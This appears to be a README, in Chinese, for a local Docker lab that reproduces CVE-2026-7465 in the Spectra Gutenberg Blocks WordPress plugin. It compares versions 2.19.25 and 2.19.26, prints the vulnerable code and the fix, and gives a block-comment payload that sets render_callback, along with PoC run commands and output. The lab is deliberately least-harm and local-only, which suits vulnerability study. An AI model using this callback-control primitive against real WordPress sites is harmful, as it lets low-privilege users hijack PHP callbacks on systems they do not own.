用于分析和复现 WordPress 插件 Spectra Gutenberg Blocks(ultimate-addons-for-gutenberg)中 CVE-2026-7465 的本地 Docker 实验环境。
本实验环境对比:
vuln:Spectra 2.19.25patched:Spectra 2.19.26该验证刻意采用最小危害(least-harm)原则。它不会执行 shell 命令、上传文件、创建用户或直接修改容器。PoC 会创建一个临时的 WordPress 草稿文章,检查渲染后的区块行为,然后删除该草稿。
CVE-2026-7465 是 Spectra Gutenberg Blocks 中的一个漏洞,用户可控的 Gutenberg 区块属性可能被传入 WordPress 区块注册参数。
在受影响版本中,Spectra 使用来自文章内容的区块属性动态注册解析后的 uagb/* 区块:
$registry->register( $block['blockName'], $block['attrs'] );
由于投稿者(Contributor)可以创建包含 Gutenberg 区块注释的文章内容,因此经身份验证的投稿者级用户能够影响诸如 render_callback 之类的注册参数。
版本 2.19.26 通过使用空参数数组注册区块来修复该问题:
$registry->register( $block['blockName'], array() );
这可以防止由文章内容控制的区块属性成为 PHP 区块注册选项。
产品:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
本实验环境中使用的版本:
vulnerable: 2.19.25
patched: 2.19.26
WordPress.org 上针对 2.19.26 的更新日志指出,该更新修复了一个安全漏洞,并感谢 Wordfence 的负责任披露。
存在漏洞的逻辑位于:
classes/class-uagb-init-blocks.php
存在漏洞的代码会检查解析后的区块名称是否包含 uagb/ 命名空间。如果该区块尚未注册,则会动态注册该区块。
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
问题在于第二个参数:
$block['attrs']
在 Gutenberg 中,区块属性可以存储在文章内容中,例如:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
投稿者可以创建草稿文章内容。因此,攻击者可以影响 $block['attrs']。
当这些属性被传入 WP_Block_Type_Registry::register() 时,它们会成为区块注册参数。其中一个敏感的注册参数是:
render_callback
这创建了一个回调控制原语。
在 2.19.26 中,Spectra 仍会注册解析后的 uagb/* 区块名称,但不再将文章内容控制的属性作为注册参数传递:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
重要的变更如下:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
这将攻击者控制的属性从区块注册路径中移除。
maybe_serializePoC 不会使用诸如 system、exec、shell_exec 或 passthru 等危险的 PHP 回调。
而是使用:
maybe_serialize
验证区块内容如下:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
预期行为:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
这在不执行命令或写入文件的情况下证明了受影响版本的行为。
服务:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
本地端口:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
预设的 WordPress 用户:
username: contributor
password: contributorpass123!
role: contributor
PoC 仅通过 HTTP 运行。它通过登录和 REST API 请求与 WordPress 交互。
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
从干净环境开始:
docker compose down -v --remove-orphans
docker compose up -d --build
检查容器:
docker compose ps
检查 seed 服务日志:
docker compose logs seed_vuln seed_patched
预期的 seed 结果:
[+] seed vuln: done
[+] seed patched: done
测试存在漏洞的目标:
python3 poc/poc.py -t http://127.0.0.1:8181
预期存在漏洞版本的判定结果:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
测试已修复的目标:
python3 poc/poc.py -t http://127.0.0.1:8182
预期已修复版本的判定结果:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
重要的对比项是:
raw_contains_marker
rendered_contains_marker
存在漏洞和已修复的目标都应显示:
raw_contains_marker: True
这确认了相同的区块内容已成功保存到临时草稿文章中。
差异在于渲染输出:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
这表明存在漏洞的版本接受了由文章内容控制的 render_callback,而已修复的版本则没有。
停止并移除容器、网络和数据卷:
docker compose down -v --remove-orphans
如果存在 Python 缓存,请将其移除:
rm -rf poc/__pycache__
本仓库仅用于本地安全研究和作品集演示。
PoC:
请勿针对你不拥有或未获得明确测试许可的系统运行本实验环境。
WordPress.org 插件页面:Spectra Gutenberg Blocks - 适用于区块编辑器的网站构建器
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org 更新日志:2.19.26 - Monday, 4th May 2026 安全更新,致谢 Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress 插件 SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/